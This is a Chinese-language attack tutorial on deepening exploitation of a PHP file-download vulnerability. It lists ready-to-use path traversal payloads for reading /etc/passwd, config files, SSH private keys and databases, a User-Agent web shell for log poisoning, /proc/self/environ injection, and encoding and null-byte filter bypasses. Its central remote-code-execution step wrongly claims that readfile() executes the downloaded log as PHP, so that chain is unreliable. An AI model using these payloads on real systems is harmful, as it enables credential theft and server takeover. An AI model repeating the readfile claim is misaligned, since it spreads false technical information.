### 如果审计到了一个文件下载漏洞如何深入的去利用

**1. 确认与初步利用**

首先，要确认这是一个真正的文件下载漏洞，而不是一个伪装的假象。通常，漏洞代码看起来是这样的：

```php
<?php
// ...
$file = $_GET['file'];
$path = "/var/www/html/downloads/" . $file;
if (file_exists($path)) {
    header("Content-Type: application/octet-stream");
    readfile($path);
} else {
    echo "File not found.";
}
// ...
?>
```

这里的关键在于 `$file = $_GET['file'];` 这行代码没有对用户输入进行任何过滤

**初步利用方式：**

- **路径遍历（Path Traversal）：** 尝试使用 `../` 来向上跳目录，下载服务器上的敏感文件
  - **Payload:** `?file=../../../../etc/passwd`
  - **目的：** 验证漏洞是否存在，并尝试下载系统敏感文件，如 `/etc/passwd`（Linux 用户列表）或 `C:\Windows\System32\drivers\etc\hosts`（Windows 主机文件）
- **下载源码：** 尝试下载网站的 PHP 源代码文件。
  - **Payload:** `?file=../../../../var/www/html/index.php` 或 `?file=../../../../var/www/html/config.php`
  - **目的：** 获取网站的数据库连接信息、API密钥或其他硬编码的凭据，为下一步攻击做准备

**2. 深入利用：组合攻击**

如果仅仅是下载文件，漏洞的危害有限。但如果将它与其他漏洞或服务器配置问题结合起来，它的威力会成倍增加。

**场景一：与日志文件结合**

如果服务器的 Web 日志文件可以被下载，而你又可以向日志中写入数据，那么这个文件下载漏洞就可能变成一个**远程代码执行**漏洞

**利用步骤：**

1. **向日志中写入恶意 PHP 代码：**
   - 通常，Web 服务器（如 Apache）会记录用户的 User-Agent、Referer 等 HTTP 头信息
   - 将你的 User-Agent 设置为包含恶意 PHP 代码，例如：`<?php system('ls -al'); ?>`
   - **Payload:** `User-Agent: <?php system($_GET['cmd']); ?>`
   - 通过访问一个不存在的页面来触发日志记录
2. **利用文件下载漏洞下载并执行日志文件：**
   - 找到日志文件的路径。通常位于 `/var/log/apache2/access.log` 或 `/var/log/httpd/access_log`
   - **Payload:** `?file=../../../../var/log/apache2/access.log`
   - 当服务器执行 `readfile()` 函数时，它会将日志文件作为 PHP 代码来解析并执行
   - **执行命令：** 你的浏览器现在会显示 `ls -al` 命令的输出
3. **最终利用：**
   - 现在你可以通过在URL中添加 `&cmd=...` 来执行任意命令
   - **Payload:** `?file=../../../../var/log/apache2/access.log&cmd=id`
   - 你可以通过这个方式上传一个WebShell，从而完全控制服务器

**场景二：与本地文件包含（LFI）漏洞结合**

如果目标服务器存在本地文件包含漏洞，但你不知道路径或无法直接利用，文件下载漏洞可以帮助你获取更多信息

**利用步骤：**

1. **使用文件下载漏洞下载 PHPinfo 文件**
   - 找到服务器上的一个 `phpinfo()` 文件（如果有的话）
   - **Payload:** `?file=../../../../var/www/html/info.php`
   - **目的：** `phpinfo()` 页面会暴露大量敏感信息，包括服务器的配置、环境变量、安装的模块等，这些信息可以帮助你找到新的攻击面
2. **利用 LFI 漏洞包含敏感文件：**
   - 如果你发现了一个可以包含文件的漏洞，但是无法直接包含日志文件
   - 你可以先利用文件下载漏洞，下载服务器上的`/proc/self/environ`文件。这个文件通常包含进程的环境变量，包括你之前设置的 User-Agent
   - 然后，利用LFI漏洞去包含 `/proc/self/environ`，从而执行你注入到 User-Agent 中的代码

**3. 利用思路的扩展**

除了上述两种常见的组合攻击，你还可以尝试以下利用方式：

- **下载 SSH 密钥：** 如果服务器启用了SSH，你可以尝试下载用户的 SSH 密钥
  - **Payload:** `?file=../../../../home/user/.ssh/id_rsa`
  - **目的：** 使用密钥直接登录服务器，获取 Shell 权限
- **下载数据库文件：**
  - 对于 SQLite 等数据库，其数据存储在文件中
  - **Payload:** `?file=../../../../var/www/html/database/db.sqlite`
  - **目的：** 获取整个数据库的内容，包括用户密码（如果未加密）、个人信息等
- **绕过防御：**
  - 如果开发者对 `../` 进行了过滤，可以尝试双重编码 `..%252f` 或其他编码方式来绕过
  - 如果路径是硬编码的，例如 `downloads/`，尝试使用空字节 `%00` 来截断路径
  - **Payload:** `?file=../../../../etc/passwd%00`